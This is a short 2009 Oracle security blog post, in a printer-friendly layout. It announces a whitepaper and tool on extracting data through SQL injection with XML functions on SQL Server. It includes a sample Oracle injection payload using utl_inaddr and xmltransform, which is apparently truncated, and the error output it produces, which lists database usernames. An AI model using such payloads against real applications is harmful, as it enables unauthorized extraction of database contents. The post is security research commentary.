- Alexander Kornbrust Oracle Security Blog - http://blog.red-database-security.com -
New SQL Injection Whitepaper (for SQL Server)
Dieser Eintrag stammt von Alexander Kornbrust Am 8 Feb 2009 @ 13:25 In Exploit, SQL Injection | Keine Kommentare
Daniel Kachakil released an interesting whitepaper about [1] fast data extraction using SQL Injection and XML statements on SQL server and a tool implementing this technique called [2] SFX-SQLI.
The paper describes how to retrieve data from a SQL Server database using SQL Injection and XML. This technique is not new (for me). I am using such techniques in the Oracle environment via xmltransform or stragg since a [3] while. It is possible to retrieve the entire content of a table in a single error message…
More details will be available on the [4] SQL Injection book I am currently writing with some other security researchers…
The tool SFX-SQLI implements the concept for SQL Server.
Here is one of the examples how to export an entire table, e.g. via utl_inaddr. The output is limited to 4000 byte:
or 1= utl_inaddr.get_host_name((select xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype(’< ?xml version=”1.0″?>
Warning: ociexecute(): OCIStmtExecute: ORA-29257: host CUSTCOM_PROD;WEBTOOL;WEBDB;NELLDB;ERDB;B2B;BI;PM;SH;IX;OE;HR;SCOTT;MGMT_VIEW;MDDATA;SYSMAN;MDSYS;SI_INFORMTN_SCHEMA;ORDPLUGINS;ORDSYS;OLAPSYS;ANONYMOUS;XDB;CTXSYS;EXFSYS;WMSYS;DBSNMP;TSMSYS;DIP;OUTLN;SYSTEM;SYS; unknown ORA-06512: at “SYS.UTL_INADDR”, line 4 ORA-06512: at “SYS.UTL_INADDR”, line 35
Dieser Artikel wurde ausgedruckt ab Alexander Kornbrust Oracle Security Blog: http://blog.red-database-security.com
URL zum Artikel: http://blog.red-database-security.com/2009/02/08/new-sql-injection-whitepaper-for-sql-server/
URLs in this post:
[1] fast data extraction using SQL Injection and XML statements: http://packetstormsecurity.nl/papers/database/SFX-SQLi-Paper-en.pdf
[2] SFX-SQLI: http://packetstormsecurity.nl/filedesc/SFX-SQLi-Source.zip.html
[3] while: http://blog.red-database-security.com/2009/01/17/tutorial-oracle-sql-injection-i
n-webapps-part-i/
[4] SQL Injection: http://www.amazon.com/Injection-Attacks-Defense-Justin-Clarke/dp/1597494240/ref=
pd_bbs_sr_1?ie=UTF8&s=books&qid=1234019397&sr=8-1
Klicken hier zum Drucken.